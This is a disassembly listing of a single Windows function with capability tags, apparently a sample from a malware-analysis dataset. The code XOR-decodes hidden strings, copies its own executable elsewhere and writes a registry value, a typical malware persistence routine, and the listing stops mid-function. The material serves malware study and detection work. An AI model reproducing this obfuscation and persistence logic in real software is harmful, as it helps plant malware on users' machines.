Function at 0x416d80
Capabilities:
Check if file exists
Copy file
Create process on windows
Encode data using xor
Get file attributes
Get session user name
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5046d3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x470
mov dword [ebp - 0x20], 0
xor ecx, ecx
push esi
push edi
mov dword [ebp - 0x2d], 0xdddcdff5
mov dword [ebp - 0x29], 0xacdaf6d1
mov dword [ebp - 0x25], 0xb1a7b1
mov byte [ebp - 0x21], 1
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 0xb
jb 0x416dd6
lea ecx, [ebp - 0x2d]
mov byte [ebp - 0x21], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416df0
mov esi, closesocket
sub ecx, edx
mov edx, dword [0x535b54]
mov eax, esi
sub eax, edx
cmp eax, ecx
jb 0x41882f
cmp dword [0x535b58], 0x10
mov eax, 0x535b44
push edx
cmovae eax, dword [0x535b44]
push eax
push ecx
lea eax, [ebp - 0x2d]
push eax
push ecx
push dword [ebp - 0x17]
lea ecx, [ebp - 0x1ec]
call fcn.0046db90
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x2e], 0xcedecaf6
mov dword [ebp - 0x2a], 0xaed0fddc
mov dword [ebp - 0x26], 0xb0a0a7af
mov word [ebp - 0x22], 0x100
nop dword [eax]
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 0xc
jb 0x416e60
lea ecx, [ebp - 0x2e]
mov byte [ebp - 0x21], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416e78
sub ecx, edx
mov eax, esi
mov edx, dword [0x535b54]
sub eax, edx
cmp eax, ecx
jb 0x418834
cmp dword [0x535b58], 0x10
mov eax, 0x535b44
push edx
cmovae eax, dword [0x535b44]
push eax
push ecx
lea eax, [ebp - 0x2e]
push eax
push ecx
push dword [ebp - 0x17]
lea ecx, [ebp - 0x27c]
call fcn.0046db90
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x2b], 0xcceefff0
mov dword [ebp - 0x27], 0xa5cbdfd9
mov word [ebp - 0x23], 0xb3
mov byte [ebp - 0x21], 1
nop word [eax + eax]
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 9
jb 0x416ee0
lea ecx, [ebp - 0x2b]
mov byte [ebp - 0x21], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416ef8
sub ecx, edx
mov eax, esi
mov edx, dword [0x535b54]
sub eax, edx
cmp eax, ecx
jb 0x418839
cmp dword [0x535b58], 0x10
mov eax, 0x535b44
push edx
cmovae eax, dword [0x535b44]
push eax
push ecx
lea eax, [ebp - 0x2b]
push eax
push ecx
push dword [ebp - 0x17]
lea ecx, [ebp - 0x15c]
call fcn.0046db90
push 0x200
lea eax, [ebp - 0x480]
mov byte [ebp - 4], 2
push 0
push eax
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0x480]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x1c4], 0
lea ecx, [ebp - 0x480]
mov dword [ebp - 0x1c0], 0
movups xmmword [ebp - 0x1d4], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416f91
sub ecx, edx
lea eax, [ebp - 0x480]
push ecx
push eax
lea ecx, [ebp - 0x1d4]
call fcn.004028a0
mov dword [ebp - 0x38], 0x1e
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x2e], 0xfdf8f5f5
mov dword [ebp - 0x2a], 0x90effff1
mov dword [ebp - 0x26], 0x85978385
mov word [ebp - 0x22], 0x100
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 0xc
jb 0x416fd5
lea eax, [ebp - 0x2e]
mov byte [ebp - 0x21], 0
push eax
call fcn.004ebe71
mov edx, eax
add esp, 4
test edx, edx
je 0x4174d3
mov ecx, edx
mov dword [ebp - 0x4c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x5c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417017
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x5c]
call fcn.004028a0
lea eax, [ebp - 0x1f]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x5c]
mov word [ebp - 0x1f], 0x5c
mov byte [ebp - 0x1d], 0
call fcn.00465e20
cmp dword [ebp - 0x1d8], 0x10
lea ecx, [ebp - 0x1ec]
mov edx, dword [ebp - 0x4c]
cmovae ecx, dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x48]
mov edi, dword [ebp - 0x1dc]
sub eax, edx
mov dword [ebp - 0x20], edx
push edi
push ecx
cmp edi, eax
ja 0x417098
cmp dword [ebp - 0x48], 0x10
lea esi, [ebp - 0x5c]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x5c]
mov dword [ebp - 0x4c], eax
lea eax, [esi + edx]
push eax
call fcn.004deec0
mov ecx, dword [ebp - 0x20]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
jmp 0x4170a8
mov byte [ebp - 0x20], 0
lea ecx, [ebp - 0x5c]
push dword [ebp - 0x20]
push edi
call fcn.0046bf80
cmp dword [ebp - 0x48], 0x10
lea esi, [ebp - 0x5c]
push 0x538280
cmovae esi, dword [ebp - 0x5c]
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x41883e
test esi, esi
je 0x417111
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4170d1
sub ecx, edx
je 0x417111
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x417102
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x417102
cmp eax, 0x20
je 0x417102
cmp eax, 0x45
je 0x417102
cmp eax, 0x24
jne 0x417111
push 0x538280
call fcn.004dc773
add esp, 4
jmp 0x41712e
push 0x538280
call fcn.004dc773
add esp, 4
lea ecx, [ebp - 0x5c]
call fcn.004167c0
test al, al
je 0x41749b
mov dword [ebp - 0x19], 0xd9c3df97
xor ecx, ecx
mov word [ebp - 0x15], 0x100
nop dword [eax]
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 4
jb 0x417140
lea ecx, [ebp - 0x1f]
mov byte [ebp - 0x14], 0
mov word [ebp - 0x1f], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x1d], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417162
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x4c]
sub eax, edx
cmp eax, ecx
jb 0x418844
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
push ecx
cmovae eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0x1f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x17]
lea ecx, [ebp - 0xa4]
call fcn.0046db90
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1ec]
cmp dword [ebp - 0x1d8], 0x10
mov esi, dword [ebp - 0x90]
mov eax, esi
cmovae ecx, dword [ebp - 0x1ec]
mov edi, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x94]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x417203
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0xa4]
cmovae eax, dword [ebp - 0xa4]
lea esi, [eax + edx]
push esi
call fcn.004deec0
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [ebp - 0xa4]
jmp 0x417216
mov byte [ebp - 0x38], 0
lea ecx, [ebp - 0xa4]
push dword [ebp - 0x38]
push edi
call fcn.0046bf80
mov dword [ebp - 0x7c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x78], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x8c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x7c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x19]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x8c]
call fcn.00465e20
mov dword [ebp - 0x64], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x74], xmm0
mov dword [ebp - 0x60], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x38], 0xfe
movups xmmword [ebp - 0x74], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x64], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x78]
cmp ecx, 0x10
jb 0x4172df
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4172d5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418849
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x90]
cmp ecx, 0x10
jb 0x417332
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417328
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418849
push ecx
push edx
call fcn.004dd461
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x94], 0
lea eax, [ebp - 0x74]
mov dword [ebp - 0x90], 0xf
mov ecx, esp
mov byte [ebp - 0xa4], 0
push eax
call fcn.00466110
call fcn.0040bf60
add esp, 0x18
test al, al
jne 0x417463
cmp dword [ebp - 0x60], 0x10
lea ecx, [ebp - 0x74]
push 0
cmovae ecx, dword [ebp - 0x74]
lea eax, [ebp - 0x1d4]
cmp dword [ebp - 0x1c0], 0x10
push ecx
cmovae eax, dword [ebp - 0x1d4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x417463
movaps xmm0, xmmword [0x526ad0]
xor ecx, ecx
movups xmmword [ebp - 0x10b], xmm0
mov dword [ebp - 0xeb], 0xb98daeb7
movaps xmm0, xmmword [0x527870]
movups xmmword [ebp - 0xfb], xmm0
mov dword [ebp - 0xe7], 0x8fb6adaf
mov dword [ebp - 0xe3], 0x91b1be8f
mov word [ebp - 0xdf], 0x8b
mov byte [ebp - 0xdd], 1
nop dword [eax + eax]
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x10b], al
inc ecx
cmp ecx, 0x2d
jb 0x4173f0
lea eax, [ebp - 0x20]
mov byte [ebp - 0xdd], 0
push eax
push 0x20006
push 0
lea eax, [ebp - 0x10b]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x417463
push dword [ebp - 0x64]
cmp dword [ebp - 0x60], 0x10
lea ecx, [ebp - 0x74]
lea eax, [ebp - 0x1ec]
cmovae ecx, dword [ebp - 0x74]
cmp dword [ebp - 0x1d8], 0x10
push ecx
cmovae eax, dword [ebp - 0x1ec]
push 1
push 0
push eax
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x60]
cmp ecx, 0x10
jb 0x41749b
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417491
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41884e
push ecx
push edx
call fcn.004dd461
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x4174d3
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4174c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418853
push ecx
push edx
call fcn.004dd461
add esp, 8
movaps xmm0, xmmword [0x525d60]
xor ecx, ecx
movups xmmword [ebp - 0x31], xmm0
mov byte [ebp - 0x21], 1
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 0xf
jb 0x4174e4
lea eax, [ebp - 0x31]
mov byte [ebp - 0x21], 0
push eax
call fcn.004ebe71
mov edx, eax
add esp, 4
test edx, edx
je 0x41871b
mov ecx, edx
mov dword [ebp - 0x4c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x5c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417526
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x5c]
call fcn.004028a0
lea eax, [ebp - 0x1f]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x5c]
mov word [ebp - 0x1f], 0x5c
mov byte [ebp - 0x1d], 0
call fcn.00465e20
cmp dword [ebp - 0x148], 0x10
lea ecx, [ebp - 0x15c]
mov esi, dword [ebp - 0x48]
mov eax, esi
cmovae ecx, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x4c]
sub eax, edx
mov edi, dword [ebp - 0x14c]
push edi
push ecx
cmp edi, eax
ja 0x41759f
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x5c]
cmovae eax, dword [ebp - 0x5c]
lea esi, [eax + edx]
push esi
call fcn.004deec0
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x4175b5
mov byte [ebp - 0x20], 0
lea ecx, [ebp - 0x5c]
push dword [ebp - 0x20]
push edi
call fcn.0046bf80
mov edi, dword [ebp - 0x14c]
cmp dword [ebp - 0x48], 0x10
lea esi, [ebp - 0x5c]
push 0x538280
cmovae esi, dword [ebp - 0x5c]
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x418858
test esi, esi
je 0x417620
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4175e0
sub ecx, edx
je 0x417620
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x417611
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x417611
cmp eax, 0x20
je 0x417611
cmp eax, 0x45
je 0x417611
cmp eax, 0x24
jne 0x417620
push 0x538280
call fcn.004dc773
add esp, 4
jmp 0x417699
push 0x538280
call fcn.004dc773
add esp, 4
mov dword [ebp - 0x1ac], 0
cmp dword [ebp - 0x48], 0x10
lea edx, [ebp - 0x5c]
xorps xmm0, xmm0
mov dword [ebp - 0x1a8], 0
cmovae edx, dword [ebp - 0x5c]
mov ecx, edx
movups xmmword [ebp - 0x1bc], xmm0
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417660
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1bc]
call fcn.004028a0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1bc]
mov eax, dword [ebp - 0x38]
or eax, 1
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x20], eax
call fcn.004167c0
mov byte [ebp - 0x39], 0
test al, al
je 0x41769d
mov byte [ebp - 0x39], 1
mov dword [ebp - 4], 0xa
test byte [ebp - 0x38], 1
je 0x4176e4
mov ecx, dword [ebp - 0x1a8]
cmp ecx, 0x10
jb 0x4176e4
mov edx, dword [ebp - 0x1bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4176da
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41885e
push ecx
push edx
call fcn.004dd461
add esp, 8
cmp byte [ebp - 0x39], 0
je 0x4186e7
mov dword [ebp - 0x19], 0xd9c3df97
xor ecx, ecx
mov word [ebp - 0x15], 0x100
nop dword [eax]
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 4
jb 0x417700
lea ecx, [ebp - 0x1f]
mov byte [ebp - 0x14], 0
mov word [ebp - 0x1f], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x1d], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417722
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x4c]
sub eax, edx
cmp eax, ecx
jb 0x418863
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
push ecx
cmovae eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0x1f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x17]
lea ecx, [ebp - 0xa4]
call fcn.0046db90
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x15c]
cmp dword [ebp - 0x148], 0x10
mov edx, dword [ebp - 0x94]
cmovae ecx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x90]
sub eax, edx
mov dword [ebp - 0x38], edx
push edi
push ecx
cmp edi, eax
ja 0x4177c8
cmp dword [ebp - 0x90], 0x10
lea esi, [ebp - 0xa4]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0xa4]
mov dword [ebp - 0x94], eax
lea eax, [esi + edx]
push eax
call fcn.004deec0
mov ecx, dword [ebp - 0x38]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0xa4]
jmp 0x4177e1
mov byte [ebp - 0x38], 0
lea ecx, [ebp - 0xa4]
push dword [ebp - 0x38]
push edi
call fcn.0046bf80
mov edi, dword [ebp - 0x14c]
mov dword [ebp - 0x1f4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x204], xmm0
mov dword [ebp - 0x1f0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x204], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1f4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x19]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x204]
call fcn.00465e20
mov dword [ebp - 0xac], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xbc], xmm0
mov dword [ebp - 0xa8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xbc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x1f0]
cmp ecx, 0x10
jb 0x4178be
mov edx, dword [ebp - 0x204]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4178b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418868
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1f0], 0xf
mov byte [ebp - 0x204], 0
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x90]
cmp ecx, 0x10
jb 0x417917
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41790d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418868
push ecx
push edx
call fcn.004dd461
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x94], 0
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x90], 0xf
mov ecx, esp
mov byte [ebp - 0xa4], 0
push eax
call fcn.00466110
call fcn.0040bf60
add esp, 0x18
test al, al
jne 0x418648
cmp dword [ebp - 0xa8], 0x10
lea ecx, [ebp - 0xbc]
push 0
cmovae ecx, dword [ebp - 0xbc]
lea eax, [ebp - 0x1d4]
cmp dword [ebp - 0x1c0], 0x10
push ecx
cmovae eax, dword [ebp - 0x1d4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x418648
push 0x104
lea eax, [ebp - 0x388]
mov dword [ebp - 0x20], 0x104
push 0
push eax
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x388]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x527af0]
xor ecx, ecx
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0xcc], 0xeca7b8e6
mov dword [ebp - 0xc8], 0x98888785
mov dword [ebp - 0xc4], 0x878194
mov byte [ebp - 0xc0], 1
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0xdc], al
inc ecx
cmp ecx, 0x1b
jb 0x4179f0
mov byte [ebp - 0xc0], 0
xor ecx, ecx
mov dword [ebp - 0x42], 0xc8949a9b
mov dword [ebp - 0x3e], 0x9d9ed3
mov byte [ebp - 0x3a], 1
nop dword [eax]
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x42], al
inc ecx
cmp ecx, 7
jb 0x417a20
mov byte [ebp - 0x3a], 0
xor ecx, ecx
mov dword [ebp - 0x1c], 0xc8949a9b
mov dword [ebp - 0x18], 0x9d9ecf
mov byte [ebp - 0x14], 1
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 7
jb 0x417a46
xorps xmm0, xmm0
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x388]
mov dword [ebp - 0x194], 0
movups xmmword [ebp - 0x1a4], xmm0
mov dword [ebp - 0x190], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417a80
sub ecx, edx
lea eax, [ebp - 0x388]
push ecx
push eax
lea ecx, [ebp - 0x1a4]
call fcn.004028a0
mov byte [ebp - 4], 0x11
xor ecx, ecx
movaps xmm0, xmmword [0x526fe0]
movups xmmword [ebp - 0x144], xmm0
mov dword [ebp - 0x134], 0xecade5e9
mov dword [ebp - 0x130], 0xf09a9ce2
mov word [ebp - 0x12c], 0xf3
mov byte [ebp - 0x12a], 1
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x144], al
inc ecx
cmp ecx, 0x19
jb 0x417ad4
lea eax, [ebp - 0x1a4]
mov byte [ebp - 0x12a], 0
push eax
lea edx, [ebp - 0x144]
lea ecx, [ebp - 0x128]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x12
push ecx
mov ecx, eax
call fcn.00465e20
mov dword [ebp - 0x17c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x18c], xmm0
mov dword [ebp - 0x178], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x18c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x17c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x13
lea edx, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
mov ecx, dword [ebp - 0xac]
cmovae edx, dword [ebp - 0xbc]
mov esi, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x178]
sub eax, esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x38], esi
push ecx
push edx
cmp ecx, eax
ja 0x417bd3
cmp dword [ebp - 0x178], 0x10
lea eax, [esi + ecx]
mov dword [ebp - 0x17c], eax
lea esi, [ebp - 0x18c]
cmovae esi, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x38]
add eax, esi
push eax
call fcn.004deec0
mov eax, dword [ebp - 0x18]
add esp, 0xc
mov ecx, dword [ebp - 0x38]
add eax, esi
mov byte [eax + ecx], 0
lea eax, [ebp - 0x18c]
jmp 0x417be6
mov byte [ebp - 0x17], 0
push dword [ebp - 0x17]
push ecx
lea ecx, [ebp - 0x18c]
call fcn.0046bf80
mov dword [ebp - 0x224], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x234], xmm0
mov dword [ebp - 0x220], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x234], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x224], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x42]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x234]
call fcn.00465e20
mov dword [ebp - 0x164], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x160], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x174], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x164], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x15
lea edx, [ebp - 0x15c]
cmp dword [ebp - 0x148], 0x10
mov ecx, dword [ebp - 0x164]
cmovae edx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x160]
sub eax, ecx
mov dword [ebp - 0x18], ecx
push edi
push edx
cmp edi, eax
ja 0x417cef
cmp dword [ebp - 0x160], 0x10
lea esi, [ebp - 0x174]
lea eax, [edi + ecx]
cmovae esi, dword [ebp - 0x174]
mov dword [ebp - 0x164], eax
lea eax, [esi + ecx]
push eax
call fcn.004deec0
mov ecx, dword [ebp - 0x18]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x174]
jmp 0x417d08
mov byte [ebp - 0x17], 0
lea ecx, [ebp - 0x174]
push dword [ebp - 0x17]
push edi
call fcn.0046bf80
mov edi, dword [ebp - 0x14c]
mov dword [ebp - 0x20c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x21c], xmm0
mov dword [ebp - 0x208], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x21c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x20c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xdc]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x21c]
call fcn.00465e20
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xd8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xc8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x208]
cmp ecx, 0x10
jb 0x417dca
mov edx, dword [ebp - 0x21c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417dc0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41886d
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x208], 0xf
mov byte [ebp - 0x21c], 0
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x160]
cmp ecx, 0x10
jb 0x417e23
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417e19
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41886d
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x160], 0xf
mov byte [ebp - 0x174], 0
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x220]
cmp ecx, 0x10
jb 0x417e7c
mov edx, dword [ebp - 0x234]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417e72
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41886d
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0xf
mov byte [ebp - 0x234], 0
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x178]
cmp ecx, 0x10
jb 0x417ed5
mov edx, dword [ebp - 0x18c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417ecb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41886d
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0xf
mov byte [ebp - 0x18c], 0
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x114]
cmp ecx, 0x10
jb 0x417f2e
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417f24
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41886d
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
